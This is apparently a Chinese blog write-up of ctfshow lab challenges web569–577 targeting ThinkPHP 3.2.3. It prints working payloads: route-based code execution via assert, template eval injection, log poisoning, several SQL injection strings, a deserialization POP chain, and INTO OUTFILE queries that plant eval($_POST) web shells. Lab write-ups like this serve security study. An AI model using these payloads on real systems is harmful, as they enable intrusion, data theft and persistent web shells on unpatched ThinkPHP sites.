跟着师傅们的wp和thinkphp3.2.3官方手册开始受苦之旅。

web569

/index.php/admin/login/ctfshowlogin

web570

Common/Conf/config.php中有call_user_func

<?php
return array(
    .
    .
    .
    'URL_ROUTER_ON'   => true, 
    'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
        call_user_func($f, $a);
        }
    )
);

尝试/index.php/ctfshow/system/ls发现可以,但不能出现/,所以换种方式

/index.php/ctfshow/assert/assert($_POST[1])

在这里插入图片描述


web571

Application\Home\Controller\IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

}

自己下个tp3.2.3调试一下

在这里插入图片描述

题目的TMPL_ENGINE_TYPEphp(这我不知道是怎么判断出来的),所以会进入这个if语句,执行eval('?>' . $_content),而$_content包含了我们传入的值,因此可以命令执行

?n=<?php system('cat /flag_is_here');?>

web572

爆破日志文件
/Application/Runtime/Logs/Home/21_04_15.log

在这里插入图片描述

/index.php?showctf=<?php%20system(%27cat%20/flag_is_here%27);?>

web573

thinkphp3.2.3 SQL注入漏洞复现

Thinkphp3 漏洞总结

正常传?id=xxx的话,会进入_parseType(),在这里面如果id列为int,则直接intval,varchar则转义单引号,因此无法注入
而传入的是数组的话不会进入_parseType(),会进入think_filter函数

function think_filter(&$value){
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

最终直接拼接到sql语句,造成注入

?id[where]=id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[where]=id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[where]=id=0 union select 1,group_concat(flag4s),3,4 from flags%23

web574

where后面加了个括号 where(id=1)这样
因此手动闭合就好

?id=0)union select 1,group_concat(flag4s),3,4 from flags%23

或者直接报错注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)

web575

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

根据web571,知道show()可以执行php代码,所以解法1就是不进这个if

<?php
namespace Home\Controller;

class IndexController
{
    public $id = '1';
    public $username = "<?php system('cat /f*');?>";

}

echo base64_encode(serialize(new IndexController()));

在这里插入图片描述

解法2是thiniphp3.2.3的反序列化
ctfshow ThinkPHP篇575
跟着审了一遍,感觉迷迷糊糊的,可能状态不是很好,poc看不太懂

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

这个漏洞还能配合MySQL恶意服务端读取客户端文件漏洞,不过我看不懂


web576

$user = M('Users')->comment($id)->find(intval($id));

在这里插入图片描述

最终拼接在注释中

在这里插入图片描述

因此可以构造?id=*/select xxx%23 闭合注释
但不能联合查询,因为union在limit后面的话,需要union的前后都套上括号,这里显然不行
这里需要into outfile写马

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]
SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
“OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

信息搜集能力很重要,我都不知道这些是怎么搜到,我就没搜到,直接搬了wp中的

?id=1*/into outfile "/var/www/html/2.php" LINES STARTING BY '<?php eval($_POST[0]);?>'%23

web577

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

依旧是之前的tp3sql注入漏洞

?id[0]=exp&id[1]==-1 union select 1,flag4s,3,4 from flags

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏